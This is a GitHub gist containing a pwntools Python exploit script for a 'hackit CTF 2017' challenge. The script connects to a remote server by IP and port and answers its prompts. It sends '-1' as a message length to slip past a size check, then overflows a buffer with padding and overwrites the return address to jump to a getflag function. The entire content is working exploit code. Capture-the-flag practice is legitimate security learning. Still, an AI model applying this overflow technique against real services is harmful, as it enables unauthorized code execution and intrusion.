Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created August 28, 2017 17:28
Show Gist options
  • Save 0xPwny/67c9039534740f0d5471d5bde7af69bc to your computer and use it in GitHub Desktop.
Save 0xPwny/67c9039534740f0d5471d5bde7af69bc to your computer and use it in GitHub Desktop.
hackit CTF 2017
from pwn import *
#r = process("./pwn150")
getflag = 0x000104d8
r = remote("165.227.98.55",2223)
def exploit(pld):
r.recvuntil("name?")
r.sendline("PWNY")
r.recvuntil("Y or N:")
r.sendline("Y")
r.recvuntil("message:")
r.sendline("-1")
r.sendline(pld)
return r.recvall()
payload = "AAAA"*130
payload += "BBBBCCCDDDDD"
payload += p32(getflag)
data = exploit(payload)
print data
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment